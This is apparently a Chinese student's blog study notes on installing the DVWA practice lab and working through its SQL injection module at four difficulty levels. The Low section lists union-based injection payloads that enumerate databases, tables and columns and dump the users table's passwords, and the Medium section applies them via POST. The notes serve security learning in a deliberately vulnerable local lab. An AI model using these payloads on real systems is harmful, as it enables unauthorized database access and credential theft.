DVWA 环境搭建和安装简易使用
- 下载安装phpstudy,这部分不用说了,肯定大家都有,或者安装过。在浏览器输入127.0.0.1,测试一下。
- 官网下载DVWA http://www.dvwa.co.uk ,解压后放在phpstudy的www目录下。
- 此时mysql的密码还是空,登录的时候会提示不能空,可以从phpstudy的界面【其他选项菜单】->【My SQL工具】->【重置密码】。
- 将DVWA/confing下的config.inc.php.dist修改为config.inc.php,找到其中的db_password的对应值改为刚设置的。
- 浏览器输入127.0.0.1/DVWA,出现登录界面,账户名和密码分别是:admin和password。
DVWA的简介
首先,DVWA有多个模块,涉及网络安全的方方面面,其次,代码等级分为Low,Medium,High,Impossible四个等级,在官方介绍中有提到High难度跟ctf接近。
因为研究生阶段即将开始网安的学习,所以好好研究DVWA成了开学前给自己的重要任务。接下来将针对各个模块进行学习笔记的记录,因为是从头学,所以难免啰嗦。
这篇文章只是针对我在学习研究DVWA过程中学到的知识点,和遇到的困难,有不对的地方还请大神不吝赐教。
一、SQL注入
需要注意两部分:第一,右下角有查看源代码的按钮,对于分析四个难度的区别很有帮助;第二,从我目前的知识水平觉得,SQL注入需要实战经验,所以接下来的笔记仅仅是沿着车辙,按图索骥的学习。
【1】low
第一步,习惯上输入1,可以看到返回对应1的数据库中的内容,而且输出三行,分别是
ID:1
First name:xxx
Surname:xxx
具体内容不管,总之第一行是输入的内容,原封不动显示了,二三行是可以我们直接用来显式显示的内容栏。
第二步,分别输入1 and 1 = 1,和1 and 1 = 2;【这里我之前不理解,现在自己的理解是:这一步,可以看输出内容,进而判断是否存在注入点,因为输出结果都一样,所以源代码一定是没有对输入内容进行判断,所以,应该是存在注入点的】
第三步,分别输入1 ‘and 1=1#,和1 ‘and 1=2#;【此时 ‘ 和 # 为第一个1(id)形成了闭合】到这里,根据输出内容,可以断定,存在注入点了。
第四步,1 ‘or 1=1 #,可以爆出所有内容,也就是有五个用户,这一步我是为了验证前几步的观点,下面就是暴库,搞到密码。
第五步,暴库:关于这一步,其实有很多知识点,我还没怎么入门,留着一个专门的坑整理这部分,已下是测试过常用的部分
- 1‘ union select 1,database()# 爆出数据库名称:dvwa
- 1 ‘UNION ALL SELECT version(),1# 爆出运行的mysql版本
- 1 ‘UNION ALL SELECT table_name,2 FROM information_schema.tables# 爆出所有表名(此时是所有库里的)
- 1‘ union select 1,table_name from information_schema.tables where TABLE_SCHEMA=‘dvwa‘# 爆出所有表名(dvwa库里的)
- 1‘ union select 1,column_name from information_schema.columns where table_name=‘users‘# 根据爆出的表,去查找所有列
- 1‘ union select user,password from users# 根据所有的列名,查找需要的对应的内容(这里我把那两个显式的输出分别输出user,password)
总结:到这里low等级注入攻击结束,已经得到需要的全部密码了,先用单引号和and测试是否有注入点,然后暴库,根据库暴表,根据表暴列,根据列找到所需的所有内容。
【2】medium
第一步,分析,medium级别是一个下拉列表,当改变输入时,网址http://127.0.0.1/dvwa/vulnerabilities/sqli/#,可见多了#,但是无论怎么改网址都不变,所以应该不是get型,而是post型。
第二步,用hackbar测试一下(这里留一个关于hackbar的坑),在post中输入 id=3&Submit=Submit,运行发现,输出正确,post型注入可行!
第三步,这时候就已经跟low等级一样了,在id=之后输入注入查询代码即可,注意此时 ‘ 和 # 提示错误,推测是源代码进行了处理,所以去掉继续尝试,可行!到这里medium就解决了
总结:难度主要体现在下拉列表上和输入检查上,可以通过工具避开,其他原理跟low一样,除了hackbar还有burp suite也可以实现,这里留着之后专门再研究这两个工具,留坑
【3】high
high等级很奇怪,我发现方法跟low完全一样,唯一的问题是,change id需要从新的窗口输入,输入内容上跟low完全一样。暂时还没明白跟low等级的区别。留坑对四个等级源代码进行对比分析
【4】impossible
impossible等级用的pdo,目前貌似是没法注入
推荐两篇博客,我感觉写的非常好!
以上,接下来是SQL盲注的的部分,同时一边填上面的坑。
原文地址:https://www.cnblogs.com/wayne-tao/p/11006771.html